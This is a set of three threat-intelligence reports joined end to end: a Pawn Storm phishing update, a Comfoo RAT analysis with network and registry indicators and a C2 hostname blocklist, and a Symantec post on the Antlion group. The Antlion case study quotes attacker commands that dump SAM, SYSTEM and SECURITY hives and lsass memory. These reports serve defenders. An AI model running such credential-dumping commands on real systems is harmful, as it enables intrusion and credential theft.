A sample of a credential phishing email Pawn Storm sent in October and November 2017 Figure 2.
Second type of credential phishing email that was sent by Pawn Storm in November 2017.
The logo of the target organization has been removed from the screenshot and the color was changed as not to reveal the source.
2/4 While these emails might not seem to be advanced in nature, weve seen that credential loss is often the starting point of further attacks that include stealing sensitive data from email inboxes.
We have worked with one of the targets, an NGO in the Netherlands targeted twice, in late October and early November 2017.
We successfully prevented both attacks from causing any harm.
In one case we were able to warn the target within two hours after a dedicated credential phishing site was set up.
In an earlier attack, we were able to warn the organization 24 hours before the actual phishing emails were sent.
Olympic Wintersports Federations We have seen several International Olympic Wintersport Federations, such as the European Ice Hockey Federation, the International Ski Federation, the International Biathlon Union, the International Bobsleigh and Skeleton Federation and the International Luge Federation, among the groups targets in the second half of 2017.
This is noteworthy due to the timing correlation between several Russian Olympic players being banned for life in fall, 2017.
In 2016, Pawn Storm had some success in compromising WADA (the World Anti-Doping Agency) and TAS- CAS (the Court of Arbitration for Sport).
At that time, Pawn Storm sought active contact with mainstream media either directly or via proxies and had influence on what some of them published.
Political targets In the week of the 2017 presidential elections in Iran, Pawn Storm set up a phishing site targeting chmail.ir webmail users.
We were able to collect evidence that credential phishing emails were sent to chmail.ir users on May 18, 2017, just one day before the presidential elections in Iran.
We have previously reported similar targeted activity against political organizations in France, Germany, Montenegro, Turkey, Ukraine, and the United States.
Beginning in June 2017, phishing sites were set up mimicking the ADFS (Active Directory Federation Services) of the U.S. Senate.
By looking at the digital fingerprints of these phishing sites and comparing them with a large data set that spans almost five years, we can uniquely relate them to a couple of Pawn Storm incidents in 2016 and 2017.
The real ADFS server of the U.S. Senate is not reachable on the open internet, however phishing of users credentials on an ADFS server that is behind a firewall still makes sense.
In case an actor already has a foothold in an organization after compromising one user account, credential phishing could help him get closer to high profile users of interest.
The future of politically motivated campaigns Rogue political influence campaigns are not likely to go away in the near future.
Political organizations have to be able to communicate openly with their voters, the press and the general public.
This makes them vulnerable to hacking and spear phishing.
On top of that, its also relatively easy to influence public opinion via social media.
Social media platforms continue to form a substantial part of users online experience, and they let advertisers reach consumers with their message.
3/4 This makes social media algorithms susceptible to abuse by various actors with bad intentions.
Publishing stolen data together with spreading fake news and rumors on social media gives malicious actors powerful tools.
While a successful influence campaign might seem relatively easy to do, it needs a lot of planning, persistence, and resources to be successful.
Some of the basic tools and services, like ones used to spread fake news on social media, are already being offered as a service in the underground economy.
As we have mentioned in our overview paper on Pawn Storm, other actors may also start their own campaigns that aim to influence politics and issues of interest domestically and abroad.
Actors from developing countries will learn and probably adapt similar methods quickly in the near future.
In 2016, we published a report on C Major, an espionage group that primarily targets the Indian military.
By digging deeper into C Majors activities, we found that this actor group not only attacks the Indian military, but also has dedicated botnets for compromised targets in Iranian universities, Afghanistan, and Pakistan.
Recently, we have witnessed C Major also showing some interest in compromising military and diplomatic targets in the West.
It is only a matter of time before actors like C Major begin attempting to influence public opinion in foreign countries, as well.
With the Olympics and several significant global elections taking place in 2018, we can be sure Pawn Storms activities will continue.
We at Trend Micro will keep monitoring their targeted activities, as well as activities of similar actors, as cyberpropaganda and digital extortion remain in use.
Indicators of Compromise (IoCs): adfs[.]senate[.
]group adfs-senate[.
]email adfs-senate[.
]services adfs.senate[.]qov[.
]info chmail.ir[.]udelivered[.
]tk webmail-ibsf[.
]org fil-luge[.
]com biathlovvorld[.
]com mail-ibu[.
]eu fisski[.
]ca iihf[.
]eu 4/4 https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/fake-news-cyber-propaganda-the-abuse-of-social-media https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/espionage-cyber-propaganda-two-years-of-pawn-storm http://documents.trendmicro.com/assets/pdf/Indian-military-personnel-targeted-by-information-theft-campaign-cmajor.pdf Update on Pawn Storm: New Targets and Politically Motivated Campaigns
Secrets of the Comfoo Masters Author: Joe Stewart and Don Jackson, Dell SecureWorks Counter Threat Unit(TM) Threat Intelligence Date: 31 July 2013 URL:http://www.secureworks.com/cyber-threat-intelligence/threats/secrets-of- the-comfoo-masters/ Introduction The details of organized cyber-espionage campaigns are becoming more public.
So- called Advanced Persistent Threat (APT) attacks are common news as individuals and corporations discover the data on their hard drives is part of a country or competitors shopping list.
The actors behind these attacks are generally well-equipped in terms of training, finances, and access to resources.
The missions of APT threat actors are usually of strategic importance, and the actors exercise virtually unlimited patience in penetrat- ing and persisting inside their specific targets network until they accomplish their goals.
One of the universal aspects of APT attacks is the use of malicious software tools that grant unauthorized backdoor access to computer systems inside the targeted network.
Because maintaining a beachhead inside the network is often critical to mission success, threat actors must adapt to various network configurations and changes in defenses by choosing and deploying backdoors with specific functionality and features.
It is difficult to be persistent without at least one backdoor.
Threat actors often possess and use an ar- senal of remote access trojans (RATs) to siphon data from their targets.
Persistence re- quires malware, and the top cyber-espionage actors have hundreds of RATs at their dis- posal at any given time.
Understanding the choice and usage of tools can be the keys to identifying and tracking APTs.
Dell SecureWorks researchers have identified and classified more than 200 distinct mal- ware families used by various APT groups.
Some malware is specially configured off- the-shelf software, and some malware is customized source code of an existing RAT.
However, most malware families are proprietary, developed by the APT groups as weapons to be deployed against a variety of targets.
Accurate identification and classifi- cation of this malware by antivirus (AV) companies is sparse.
Shared code, the use of common tools, co-infections, and a history of generic or incorrect classification by multi- http://www.secureworks.com/cyber-threat-intelligence/threats/secrets-of-the-comfoo-masters/ http://www.secureworks.com/cyber-threat-intelligence/advanced-persistent-threats/ http://www.secureworks.com/cyber-threat-intelligence/malware_code_analysis/ ple names make the automated tracking of these tools by AV companies difficult.
This inaccuracy can be detrimental when designing defenses based on specific threat indica- tors.
Tracking APTs requires a dedicated malware intelligence effort.
One way applied malware intelligence is used to discover new APT trojans is a recursive investigative method: Malware - Infrastructure Touchpoints - New Malware - and so on.
Cyber-espionage actors often cycle through different RATs over a period of years.
The Dell SecureWorks Counter Threat Unit (CTU) research team has tracked a RAT known as Comfoo that has been in continuous development since at least 2006.
This RAT has maintained a fairly low profile, even though it was used as part of the RSA breach in 2010, when its code was first analyzed.
Antivirus firm Trend Micro briefly mentioned its use in a 2012 paper titled Luckycat Redux  Inside an APT Campaign with Multiple Targets in India and Japan.
However, the disclosure of this trojan and some of its command and control (C2) infrastructure did not discourage its continued use by the threat actors responsible for it.
Comfoo characteristics To maintain persistence on the system, Comfoo usually replaces the path to the DLL of an existing unused service rather than installing a new service.
A new service is more likely to be noticed by system audits.
Sometimes Comfoo is delivered with a rootkit that hides Comfoos files on disk.
Additionally, Comfoo starts the existing ipnat system ser- vice.
This action causes remote inbound connections to the infected system to fail, block- ing remote maintenance by the network administrator.
Network behavior Comfoos network traffic is encrypted and encapsulated in HTTP requests and respons- es, although some variants skip the encapsulation step.
Payloads are encrypted by a 10- byte static XOR key that is hard-coded inside the Comfoo binary.
Initial login data from the infected system (MAC address, internal IP address, campaign tag, and version data) is passed in the request URI and is additionally encrypted by a dynamic key, as shown in Figure 1.
http://www.secureworks.com/cyber-threat-intelligence/counter_threat_unit/ http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_luckycat_redux.pdf Figure 1.
Comfoo URL decryption algorithm example.
(
Source: Dell SecureWorks) Capabilities The Comfoo RAT has the following features: System/network information gathering Keystroke logging Screenshots File upload/download/execute Command shell Comfoo trojan C2 software discovery By studying the network traffic of infected systems, CTU researchers determined that the server side of the Comfoo malware sends an HTTP server header identifying the server version as Apache 2.0.50 (Unix).
However, the rest of the HTTP headers do not match the order or the formatting used by this version of Apache.
This anomaly sug- gests that the C2 software was a standalone application instead of a series of scripts run- ning under Apache.
Searching for the specific server version string in the CTU malware repository produced a sample of the Comfoo server software, identified by the MD5 hash 2b29f0224b632fdd00d0a30527b795b7.
http://www.secureworks.com/assets/image_store/png/large.intelligence.threats.comfoo.1.png Analysis The Comfoo C2 server turns out to be a rendezvous-type traffic relay program.
This small binary can be deployed on rented or hacked Windows systems, where it passes traffic between Comfoo victims and the Comfoo master console operated by the threat actors (see Figure 2).
Figure 2.
Organization of rendezvous-type traffic relay program.
(
Source: Dell SecureWorks) Unlike dumb traffic relay servers such as HTran, the Comfoo relay server does not know the location of the master console.
Instead, the master console program connects to the relay server on-demand, and any incoming victim data is passed to the master console connection.
HTran is sometimes used to add an additional layer of untraceabili- ty to the victim connection.
Likewise, the administrator can add other layers of proxies or VPN connections to the console connection side of the communication.
The Comfoo relay server listens on up to three TCP ports at a time.
The first port acts as a control and typically listens on port 1688.
It performs the following tasks: Enables/disables the other ports Accepts new relay port configuration (stored in rlycfg.dll) Notifies master console that a new victim connection is available The second port is the admin relay port, which typically listens on port 1689.
It accepts connections from the master console to send commands to and receive data from vic- tims systems.
The third port is the victim relay port, which listens on a configurable port number, usually port 80 or port 443.
This port accepts connections from victims http://www.secureworks.com/cyber-threat-intelligence/threats/htran/ systems to send data to and receive commands from the Comfoo administrator encapsu- lated in HTTP requests and responses.
If there is no current connection between the vic- tim and the Comfoo administrator, Comfoo logs the victims connection and sends an idle response to the victim.
DNS resolution tactics In addition to using rendezvous protocols and HTran forwarding servers, Comfoo oper- ators create and maintain another layer of obfuscation to thwart analysis of their infra- structure.
Like many other APT malware families, Comfoo reaches out to its masters based on DNS lookups of certain hostnames.
The Comfoo operators commonly use dy- namic DNS providers to micromanage the IP addresses to which Comfoo hostnames re- solve.
While Comfoo sleeps, its operators often set those IP addresses to common or bo- gus entries.
When not being used to actively control Comfoo, the C2 domain name might resolve to the address of a popular search engine or a local loopback (127.0.0.1), private (10.1.1.1), or other special use (0.0.0.0) IP address.
Domain names used in Com- foo operations only point to actual control infrastructure during very short time win- dows.
Only during these time windows do alerts from a DNS monitoring tool inform researchers when it might be possible to locate an actual Comfoo server.
Figure 3 maps IP addresses used in Comfoo campaigns.
Figure 3.
Geolocation plot of all public routable IP addresses resolved from a set of Comfoo C2 hostnames, including bogus distractors.
(
Source: Dell SecureWorks) The map in Figure 4 shows only the IP addresses that actually speak Comfoos protocol, https://tools.ietf.org/html/rfc5735 http://tools.ietf.org/html/rfc1918 http://www.secureworks.com/assets/image_store/png/large.intelligence.threats.comfoo.3.png illustrating how DNS tactics such as the distractor IP addresses can mask actual control infrastructure.
Figure 4.
Geolocation plot of actual IP addresses used for Comfoo C2 servers.
(
Source: Dell Se- cureWorks) Taking control The unauthenticated nature of the Comfoo relay servers administrative connections makes it possible to take control of the C2 server and all victims systems, armed only with knowledge of the protocol, the encryption method, and the static encryption key hard-coded into every Comfoo binary.
Researchers can passively monitor victims lo- gins to the relay servers (sending no commands) by connecting to the correct port on the correct IP address at the right time.
This technique is analogous to viewing webserver log data stored in a publicly accessible directory on a C2 server.
To help identify and notify victims of Comfoo-based espionage, CTU researchers set up a passive monitoring system for dozens of active Comfoo C2 relays and have been run- ning this system since January 2012.
Connections from the monitoring system are peri- odic, so not all victim logins are observed.
Only the initial connection data is logged, and it is not possible to see data being exfiltrated from victims networks using this method.
Passive monitoring results While monitoring Comfoo, CTU researchers detected more than 200 variants of the tro- http://www.secureworks.com/assets/image_store/png/large.intelligence.threats.comfoo.4.png jan and 64 different campaign tags used by the threat actors to organize their cam- paigns.
Numerous government entities and private companies based in the United States, Europe, and Asia Pacific had Comfoo-infected computers phoning home to the Comfoo C2 infrastructure (see Figure 5).
Figure 5.
Geographic location of Comfoo victim organizations.
(
Source: Dell SecureWorks) Much of the traffic emanated from multiple Japanese and Indian government ministries.
CTU researchers outlined the Japanese attack campaign in a previous analysis entitled Chasing APT.
The following industries were also targeted: Education Energy Mineral exploration News media Semiconductors Steel manufacturing Think tanks Telecommunications Trade organizations Audio and videoconferencing products The targeting of audio and videoconferencing products is unusual.
CTU researchers speculate that the threat actors might be looking for intellectual property relating to au- dio and videoconferencing.
Another possibility is that it could be a clever and stealthy way of listening and watching activities of both commercial and government organiza- tions.
http://www.secureworks.com/assets/image_store/png/large.intelligence.threats.comfoo.5.png http://www.secureworks.com/cyber-threat-intelligence/threats/chasing_apt/ Detecting Comfoo in the enterprise The presence of Comfoo on a network or computer can be detected in a variety of ways, even if AV engines lack detection for the latest variants.
Analysts can search for known Comfoo threat indicators in network traffic, on hard drives, in memory, or in the Win- dows registry.
Network detection A typical Comfoo HTTP phone-home request looks like the following: GET /CWoNaJLBo/VTNeWw11212/12664/12VTNfNmM1aQ/UTWOqVQ132/ HTTP/1.1Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, /Accept-Language: en-enUser-Agent: Mozilla/4.0 (compatible MSIE 6.0Windows NT 5.1)Host: smtp.dynami clink.ddns.usConnection: Keep-AliveCache-Control: no-cache An active C2 server responds with headers similar to the following: HTTP/1.1 200 OKDate: Mon, 29 Jul 2013 19:26:15 GMTServer: Apache/2.0.50 (Unix)Content-Length: 10Keep-Alive: timeout15, max90 Disk/memory/registry detection The unique string T1Y943jIhk can be found in the Comfoo binary.
Offline forensic analy- sis may be required to search for this string if a rootkit is in play.
These additional strings can be searched but are not guaranteed to be unique to Com- foo: CPUSpeed:d.dGHz CPUNameString:s CPUVendorIdentifier:s CPUIdentifier:s No d CPU Information: SystemCurrent Time: systemBoot Time: IE BHO Name:s 11.
IE BHO Information 10.
IE Version Information 9.
InstallApp Information 8.
NETBIOS Information 7.
Protocol Information 6.
NET Information 5.
Disk Information 4.
Account Information 3.
System Time 2.
CPU Type Can not get this information, error code is d. Windows Version Information Additionally, Comfoo uses the SetEvent Windows API and registers an event that fre- quently contains the word GAME.
The following are example Comfoo event names: exclusiveinstance12 THIS324NEWGAME MYGAMEHAVESTART MYGAMEHAVEstarted MYGAMEHAVESTARTEd MYGAMEHAVESTARTED thisisanewfirstrun THISISASUPERNEWGAMENOWBEGIN thisisnewtrofor024 To persist without adding new registry entries, Comfoo edits an unused system service configuration, replacing the DLL path and setting it to auto-start on boot.
For example, a system service registry key entry changed by Comfoo might resemble the following: system\CurrentControlSet\Services\Netman\Parameters Original: ServiceDll  SystemRoot\System32\netman.dll Modified: ServiceDll  C:\WINDOWS\system32\tabcteng.dll system\CurrentControlSet\Services\Netman Original: Start  3 Modified: Start  2 Comfoo hijacks service settings for some legitimate service DLLs: netman.dll rasauto.dll sens.dll The following are DLL names commonly used by Comfoo: cmmos.dll jacpet.dll javadb.dll mszlobm.dll netfram.dll netman.dll ntdapie.dll ntdelu.dll ntobm.dll odbm.dll senss.dll suddec.dll tabcteng.dll vmmreg32.dll wininete.dll If Comfoo successfully connects to the relay server and receives commands from the master console, then it creates a file named mstemp.temp on the infected system to store the output of the last shell command.
Conclusion Comfoo is the tip of an iceberg.
The CTU research team notified many Comfoo victims, either directly or through the computer security incident response teams (CSIRTs) in their respective country.
Analysis was also shared with law enforcement.
Based on the number of campaign tags observed in malware samples versus those seen in live moni- toring by the CTU research team, there are likely hundreds more unidentified victims.
Most businesses will never see a Comfoo infection.
However, evaluating whether an or- ganization is a potential target of cyber-espionage is important in any risk evaluation.
Chief information security officers should maintain awareness of any reported cyber- espionage threats in their business sector.
If one player in an industry is targeted, it is likely all major players (or newcomers with interesting technology) in that industry will be targets at some point.
Organizations compromised by Comfoo (or most types of APT malware) likely face a major forensic and eradication effort.
This effort should be followed by a major invest- ment in security measures to keep cyber-espionage actors out of the network.
Many in- house security teams do not have the APT expertise to respond to a persistent threat that requires a persistent, active, and layered defense model spanning the entire attack surface of an organization.
As a result, the organization might need outside expertise to effectively mitigate these types of threats.
Appendix: Comfoo hostnames for blacklisting consideration accounts .
ddns .
info active .
googleupdate .
hk active .
nifty-user .
com addr .
googleupdate .
hk ahn06 .
myfw .
us allroot80 .
4pu .
com apf .
googleupdate .
hk aptlkxqm .
25u .
com back .
agfire .
com back .
winsupdate .
com bbs .
dynssl .
com bbs .
gladallinone .
com bigdog .
winself .
com billgates .
itsaol .
com bjllgvtms .
effers .
com blizzcon .
sexidude .
com blizzcon .
sexxxy .
biz buffet80 .
bigmoney .
biz buffet80 .
itsaol .
com buffet .
bbsindex .
com bxpudqx .
otzo .
com my .
amazingrm .
com my .
officebeautyclub .
com myweb .
wwwcrazy .
com nevruz .
mrface .
com news .
mcesign .
com news .
rumorse .
com news .
win .
dnset .
com news .
wintersunshine .
net night .
mefound .
com nikimen .
etowns .
net nslsa .
microupdata .
com nsser .
systemsupdata .
com nsservic .
googleupdate .
hk nunok .
ninth .
biz oct .
clawsnare .
com offer .
eosboxster .
com okkou .
9966 .
org park006 .
myfw .
us pazar .
vicp .
net pcnews .
rr .
nu pcpc .
helpngr .
net http://go.secureworks.com/advancedthreats cart .
itsaol .
com catawarm .
gicp .
net cell .
missingthegirl .
com cmart .
iownyour .
org config .
microupdata .
com copyright .
imwork .
net cpt .
csinfos .
net crsky .
systemsupdata .
com database .
googleupdate .
hk davidcat .
yick .
lflink .
com daviddog .
gicp .
net db .
themmdance .
com ddns .
yourturbe .
org deminich .
gicp .
net deminich .
jungleheart .
com demi .
yick .
lflink .
com dgoil .
3322 .
org dns .
google-login .
com do .
centr-info .
com dolaamen .
xicp .
net domain .
centr-info .
com domain .
nifty-user .
com download .
yourturbe .
org dunya .
8800 .
org et .
stoneqwer .
com eudge .
3322 .
org eudge .
redirect .
hm european .
pass .
as eurowizard .
byinter .
net facebook .
nifty-japan .
com fact .
winsupdate .
com fbook .
google-login .
com fish .
windwarp .
uicp .
net football .
deminich .
jungleheart .
com football .
dynamiclink .
ddns .
us foxpart .
oicp .
net free3w .
lflinkup .
org fr .
washbart .
com ftp .
alvinton .
jetos .
com ftp .
lucky .
ddns .
ms ftpserver .
3-a .
net ftp .
superaround .
ns02 .
biz ftp .
y3 .
3-a .
net funew .
noorno .
com fun .
marktie .
com funnygamea .
vicp .
net games .
jeepworker .
com games .
noorno .
com googlemail .
servehttp .
com googleupdate2009 .
kmip .
net graymmy .
longmusic .
com gws01 .
microupdata .
com gws12 .
microupdata .
com pcuser .
ikwb .
com podding .
newsinsky .
com poft .
yahoo-user .
com pofuyer .
4pu .
com polly .
jwt .
ourhobby .
com polly .
slyip .
com poly .
jwt .
ourhobby .
com pop3 .
freemail .
mrface .
com pop .
microupdata .
com pop .
peroillion .
com prc .
deminich .
jungleheart .
com prc .
dynamiclink .
ddns .
us pure .
mypop3 .
org record .
yick .
lflink .
com rember .
clawsnare .
com reserve .
trickip .
net rouji .
king .
proxydns .
com s0ft .
noorno .
com sapudy .
dns2 .
us server .
epac .
to server .
nifty-login .
com server .
universityexp .
com services .
google-config .
com shift .
8866 .
org sinagame .
2288 .
org singes .
organiccrap .
com singngh .
gicp .
net slll .
pbfsnet .
com smell .
gotgeek .
com smtp .
deminich .
jungleheart .
com smtp .
travelexpolorer .
com soft .
yahoo-user .
com sollysly .
servegame .
com sonam .
goodnews007 .
com sports .
wintersunshine .
net srv911 .
yahoo-user .
com srv91 .
googleupdate .
hk srv91 .
yahoo-user .
com sscdtt .
phmail .
us stone .
king .
proxydns .
com superaround .
ns02 .
biz tech .
bommow .
com terrys .
rr .
nu test1 .
dns1 .
us test1 .
windwarp .
uicp .
net thec .
csinfos .
net timeout .
myvnc .
com trans .
helpngr .
net tttt .
sundaynews .
us tw .
pudnet .
net uncrisis .
findhere .
org update .
yourturbe .
org usstream .
coyo .
eu hanoihcm .
phdns01 .
com havefuns .
rkntils .
10dig .
net henryclub .
25u .
com hfwwpofuyer .
4pu .
com homehost .
3322 .
org https .
port25 .
biz hyphen .
dyndns .
biz hzg002 .
mooo .
com image .
google-login .
com image .
qpoe .
com info .
kembletech .
com info .
rumorse .
com info .
whandjg .
net insert .
51vip .
biz office-sevice .
com intrusion .
post-horse .
net it .
buglan .
com it .
davyhop .
com it .
pudnet .
net johnnees .
rkntils .
10dig .
net kapa2000 .
3322 .
org kimomail .
3-a .
net korea001 .
tribeman .
com korea1 .
mooo .
com kx .
davyhop .
com lanama .
jkub .
com lcyma .
jetos .
com li .
noorno .
com livedoor .
microupdata .
com login .
yahoo-user .
com lovehill .
3d-game .
com lovehill .
dyndns-blog .
com lovehill .
xxuz .
com lsass .
google-login .
com luck201202 .
oicp .
net mail911 .
nifty-login .
com mail911 .
nifty-user .
com mail91 .
nifty-login .
com mail91 .
nifty-user .
com mail .
carsystm .
net mail .
lthreebox .
com mail .
mariofreegame .
net mail .
mgtfcayman .
com mail .
mofa .
zyns .
com mailsrv .
mariofreegame .
net mail .
systemsupdata .
com mail .
xygong .
com manpower .
3322 .
org marhone .
vicp .
net mdb .
clawsnare .
com mf .
tpznet .
com microsoft .
redirect .
hm mil .
winsupdate .
com venus .
gr8domain .
biz vstar-2006 .
vicp .
net wakawaka .
servehttp .
com webdata .
helpngr .
net web .
nifty-login .
com web .
nifty-user .
com web .
yahoo-user .
com wetboy .
vicp .
hk winhelp .
yahoo-config .
com winserver .
3-a .
net wogawoga .
sytes .
net worldwide .
servehttp .
com wt .
pudnet .
net wwmrus .
gicp .
net www12 .
sexidude .
com www .
a1yac .
net www .
avau .
info www .
ayfd .
info www .
butr .
info www .
catholicstory .
info www .
config .
sendsmtp .
com www .
drsc .
in www .
firehorse .
changeip .
name www .
fsdr .
info www .
google-login .
com www .
greenhawthorn .
com www .
grtk .
info www .
hgtw .
info www .
jeepworker .
com www .
kkle .
info www .
lconstruct .
com www .
linejudge .
net www .
microsoft .
yourtrap .
com www .
missingthegirl .
com www .
nifty-japan .
com www .
noorno .
com www .
post-horse .
net www .
search .
wwwhost .
biz www .
setinfor .
proxydns .
com www .
smtp2010 .
googleupdate .
hk www .
solarisc .
com www .
superpowereye .
com www .
swf .
zyns .
com www .
test1 .
dns1 .
us www .
tomdavid .
dns04 .
com www .
windows .
dynamicdns .
org .
uk www .
wsdv .
info xmahone .
51vip .
biz xmahone .
gicp .
net xmahone .
suroot .
com yftpost .
flnet .
org ynet .
nifty-login .
com ynet .
nifty-user .
com msnsupport .
servehttp .
com zp .
amazingrm .
com zp .
tpznet .
com
1/7 Antlion: Chinese APT Uses Custom Backdoor to Target Financial Institutions in Taiwan symantec-enterprise-blogs.security.com/blogs/threat-intelligence/china-apt-antlion-taiwan-financial-attacks The attackers spent a significant amount of time on victim networks.
Chinese state-backed advanced persistent threat (APT) group Antlion has been targeting financial institutions in Taiwan in a persistent campaign over the course of at least 18 months.
The attackers deployed a custom backdoor we have called xPack on compromised systems, which gave them extensive access to victim machines.
The backdoor allowed the attackers to run WMI commands remotely, while there is also evidence that they leveraged EternalBlue exploits in the backdoor.
The attackers appeared to have the ability to interact with SMB shares, and its possible that they used mounted shares over SMB to transfer files from attacker-controlled infrastructure.
There is also evidence that the attackers were able to browse the web through the backdoor, likely using it as a proxy to mask their IP address.
The goal of this campaign appears to have been espionage, as we saw the attackers exfiltrating data and staging data for exfiltration from infected networks.
Technical details As well as the attack on the financial institution outlined in the case study below, Antlion compromised the networks of at least two other organizations in Taiwan, including another financial organization and a manufacturing company.
The activity the group carried out on those networks was largely similar to the activity that is detailed in the case study, with the xPack backdoor frequently deployed and a lot of evidence of credential dumping.
In the manufacturing target, also, we see the attackers attempting to download malicious files via SMB shares.
The attackers also spent a significant amount of time on both these targeted networks, spending close to 250 days on the financial organization and around 175 days on the manufacturing organization.
Symantec, a division of Broadcom, cannot state with certainty what the initial infection vector used by the attackers in this campaign was, though in one instance they were seen utilizing the MSSQL service to execute system commands, which indicates that the most likely infection vector was exploitation of a web application or service.
However, Antlion are also known to have previously used malicious emails to gain initial access to victim networks.
The main custom backdoor used by Antlion in this campaign was the xPack backdoor, which is a custom .NET loader that decrypts (AES), loads, and executes accompanying .bin files.
Its decryption password is provided as a command-line argument (Base64 encoded string), and xPack is intended to be run as a standalone application or as a service (xPackSvc variant).
The xPack malware and its associated payload seems to be used for initial access it appears that xPack was predominantly used to execute system commands, drop subsequent malware and tools, and stage data for exfiltration.
The attackers also used a custom keylogger and three custom loaders.
EHAGBPSL loader - custom loader written in C - loaded by JpgRun loader JpgRun loader - customer loader written in C - similar to xPack, reads the decryption key and filename from the command line - decodes the file and executes it CheckID - custom loader written in C - based on loader used by BlackHole RAT The attackers also used a custom SMB session enumeration tool (NetSessionEnum), a custom bind/reverse file transfer tool named ENCODE MMC, and a Kerberos golden ticket tool based on Mimikatz.
The attackers also used a variety of off-the-shelf tools, as well as leveraging living-off-the-land tools such as PowerShell, WMIC, ProcDump, LSASS, and PsExec.
The legitimate AnyDesk tool was also abused by the attackers for remote access in one of the victim organizations.
The attackers were also observed leveraging exploits such as CVE-2019-1458 for privilege escalation and remote scheduled tasks to execute their backdoor.
CVE-2019-1458 is an elevation-of-privilege vulnerability that occurs in Windows when the Win32k component fails to properly handle objects in memory.
Legitimate versions of WinRAR appear to have been exploited by the attackers for data exfiltration, while there is also evidence of data exfiltration via PowerShell, specifically using the BitsTransfer module to initiate an upload to attacker-controlled infrastructure.
There is also evidence that the attackers likely automated the data collection process via batch scripts, while there is also evidence of instances https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/china-apt-antlion-taiwan-financial-attacks 2/7 where data was likely staged for further exfiltration, though it was not actually observed being exfiltrated from the network.
In these instances, it appears the attackers were interested in collecting information from software pertaining to business contacts, investments, and smart card readers.
Case study: Attack on a financial organization The attackers spent a significant amount of time on victims networks, and deployed both custom and off-the-shelf malware.
In one financial sector victim in Taiwan the attackers spent almost nine months on the victim network.
The first suspicious activity on this victim network occurred in December 2020 when WMIC was used to execute two commands: wmic process get CSName,Description,ExecutablePath,ProcessId /format:CSIDL_SYSTEM\wbem\zh-tw\htable.xsl wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:CSIDL_SYSTEM\wbem\zh-tw\htable.xsl The first command was used to list the computer name, description of processes, executable path, and process ID.
The output was written to a suspicious file named htable.xsl under the wbem directory.
The second command was used to collect information about the system, which was written out to the same file (htable.xsl).
Information collected included: Version of the operating system (OS) The installation date The last time the system was booted The local date and time of the system The manufacturer The registered user Service pack information - this can be used to determine what patches are installed System directory path Five minutes after those commands were issued, WMIC was used to dump credentials: reg save HKLM\SAM CSIDL_COMMON_DOCUMENTS\sam.hiv reg save HKLM\SYSTEM CSIDL_COMMON_DOCUMENTS\sys.hiv reg save hklm\security CSIDL_COMMON_DOCUMENTS\security.hiv The commands listed above were all executed via Antlions custom xPack backdoor.
Several days later, during the Christmas holiday period, the attackers returned over a period of a few days and executed the xPack backdoor again.
They also executed an unknown VBS script via PsExec multiple times: cscript.exe CSIDL_SYSTEM_DRIVE\update.vbs On December 28, the attackers used xPack to launch a command prompt to dump credentials from several machines within the compromised organization with the following commands: upload.exe -accepteula -ma lsass.exe 16.dmp (a renamed version of Sysinternals procdump64.exe) reg save hklm\sam CSIDL_PROFILE\publicsam.hive reg save hklm\system CSIDL_PROFILE\public\system.hive reg save hklm\security CSIDL_PROFILE\public\security.hive Over the following couple of weeks, the attackers continued to return intermittently to launch the xPack backdoor or to dump credentials via the registry.
Then, following a few weeks of inactivity, they become active on the infected network once again.
The attackers used the xPack backdoor to launch a command prompt to execute the following commands: cmd /K CHCP 950 CHCP 950 query user CSIDL_SYSTEM\quser.exe tasklist /v findstr explorer cmd /c dir CSIDL_PROFILE\desktop CSIDL_SYSTEM\cmd.exe /c cmd /c dir \users /b cmd /c dir CSIDL_PROFILE\desktop cmd /c dir \users /b 3/7 reg save hklm\security CSIDL_COMMON_DOCUMENTS\security.hiv rar a -r -hp1qazWSX3edc W22-009-099.tmp CSIDL_COMMON_DOCUMENTS\w22-009-099_file reg save hklm\system CSIDL_COMMON_DOCUMENTS\system.hiv reg save hklm\sam CSIDL_COMMON_DOCUMENTS\sam.hiv The above commands were used to firstly change the code page to 950, which is the Windows code page for Traditional Chinese.
The attackers then executed query user to list any logged-in users on the system, as well as running tasklist to get a list of all the running processes on the system.
They also tried to discover what processes were running, before listing all contents of the Desktop directory and the Users directory.
After this, the attackers dumped credentials again via the registry.
The attackers returned to the network a couple of weeks later and carried out largely the same activity.
The attackers remained active on the network for March, April, and May 2021, intermittently returning to launch their xPack backdoor or dump credentials from the registry.
Dumping credentials appears to be a main focus of the attackers, with them likely using these credentials to move laterally across the network to identify machines of interest from which they can exfiltrate data.
The last activity on this network, after a gap of three months, occurred in August 2021, when the attackers returned and listed all available shares.
They then dumped credentials from the registry and proceeded to collect account, group, and workstation configuration information.
They then dumped credentials from the registry once again.
This was the last activity seen on this network.
Experienced actor stays active Antlion is believed to have been involved in espionage activities since at least 2011, and this recent activity shows that it is still an actor to be aware of more than 10 years after it first appeared.
The length of time that Antlion was able to spend on victim networks is notable, with the group able to spend several months on victim networks, affording plenty of time to seek out and exfiltrate potentially sensitive information from infected organizations.
The targeting of Taiwan is perhaps unsurprising given we know Chinese state-backed groups tend to be interested in organizations in that region.
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Indicators of Compromise (IOCs) If an IOC is malicious and the file is available to us, Symantec Endpoint products will detect and block that file.
